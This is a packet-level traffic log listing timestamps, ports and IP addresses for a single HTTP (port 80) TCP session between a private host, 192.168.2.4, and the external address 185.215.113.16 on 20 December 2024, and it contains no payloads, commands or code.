Dec 20, 2024 11:12:22.631923914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.632886887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.632936001 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.633011103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.633071899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.634052992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.634185076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.634265900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.635109901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.635154009 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.767868996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.767966032 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.768037081 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.768193960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.768275976 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.768321991 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.769314051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.769366980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.769680023 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.769725084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.769787073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.769994974 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.770848036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.770890951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.770972013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.771009922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.771929979 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.771976948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.772059917 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.772105932 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.773075104 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.773121119 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.773220062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.773766041 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.774210930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.774260998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.774342060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.774703979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.775362968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.775497913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.775547028 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.776479006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.776535034 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.776576996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.776619911 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.777611017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.777749062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.777792931 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.778760910 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.778872967 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.778915882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.779901028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.779964924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.780029058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.780356884 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.781044960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.781096935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.781161070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.781202078 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.782147884 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.782284021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.782326937 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.783309937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.783432007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.783478022 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.784486055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.784529924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.784606934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.785600901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.785645962 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.785645962 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.786688089 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.786705971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.786755085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.786865950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.786917925 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.787832022 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.787879944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.787959099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.787998915 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.788984060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.789041996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.789103985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.789587975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.790111065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.790258884 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.790302992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.791264057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.791320086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.791412115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.791454077 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.792413950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.792561054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.792608976 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.793514013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.793643951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.793687105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.794650078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.794780016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.794825077 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.795814037 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.795938969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.795984030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.796931982 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.797053099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.797069073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.798111916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.798127890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.798167944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.798181057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.799204111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.799248934 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.799371958 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.800348043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.800394058 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.800447941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.800489902 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.801511049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.801635027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.801680088 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.802655935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.802710056 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.802755117 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.803747892 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.803894997 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.803941011 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.804893970 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.804949999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.805022001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.806181908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.806227922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.806273937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.806318045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.807145119 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.807195902 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.807259083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.807301998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.808305025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.808350086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.808437109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.808480978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.809457064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.809528112 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.809542894 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.809659004 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.810561895 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.810616016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.810682058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.810718060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.811690092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.811736107 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.811870098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.811953068 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.812829971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.812877893 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.812932014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.813029051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.813983917 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.814104080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.814147949 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.815071106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.815121889 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.815252066 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.815294027 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.816236019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.816277981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.816349983 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.816924095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.817348003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.817394972 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.817466021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.817507029 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.818489075 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.818536043 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.818599939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.818659067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.819689035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.819735050 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.819741011 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.819781065 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.820763111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.820811033 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.820899010 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.820945024 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.821904898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.821954966 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.822026014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.822784901 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.823007107 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.823139906 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.823187113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.824177027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.824311972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.824377060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.825314045 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.825426102 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.825474977 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.826469898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.826517105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.826561928 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.827899933 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.960079908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.960171938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.960201025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.960221052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.960313082 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.960364103 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.960428953 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.960490942 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.961558104 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.961622953 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.961787939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.961838961 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.961894035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.961941004 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.963198900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.963253975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.963263035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.963294983 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.964124918 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.964189053 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.964215994 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.964266062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.965194941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.965315104 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.965339899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.965351105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.966320038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.966371059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.966442108 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.966487885 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.967447996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.967504025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.967585087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.967638016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.968592882 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.968646049 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.968708992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.968755007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.969736099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.969785929 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.969836950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.969979048 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.970926046 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.971009016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.971070051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.971121073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.972001076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.972049952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.972131968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.972178936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.973148108 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.973205090 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.973256111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.974251986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.974298954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.974379063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.974430084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.975394964 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.975445986 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.975512028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.975559950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.976515055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.976659060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.976663113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.976707935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.977659941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.977711916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.977777958 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.977833033 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.978791952 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.978833914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.978970051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.979041100 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.979923964 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.979967117 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.980070114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.980117083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.981146097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.981201887 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.981210947 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.981259108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.982217073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.982268095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.982326984 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.982413054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.983377934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.983427048 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.983473063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.983522892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.984487057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.984534979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.984608889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.984657049 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.985630989 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.985678911 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.985753059 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.985805988 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.986722946 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.986768961 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.986852884 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.986897945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.987886906 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.987931013 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.988014936 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.988065958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.989079952 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.989125013 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.989310026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.989463091 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.990129948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.990181923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.990248919 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.990418911 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.991347075 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.991391897 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.991404057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.991451025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.992429972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.992477894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.992543936 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.992595911 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.993556976 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.993603945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.993668079 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.993716002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.994690895 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.994731903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.994798899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.994849920 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.995852947 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.996007919 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.996037960 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.996051073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.996970892 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.997020006 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.997098923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.997143984 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.998086929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.998153925 CET	49793	80	192.168.2.4	185.215.113.16
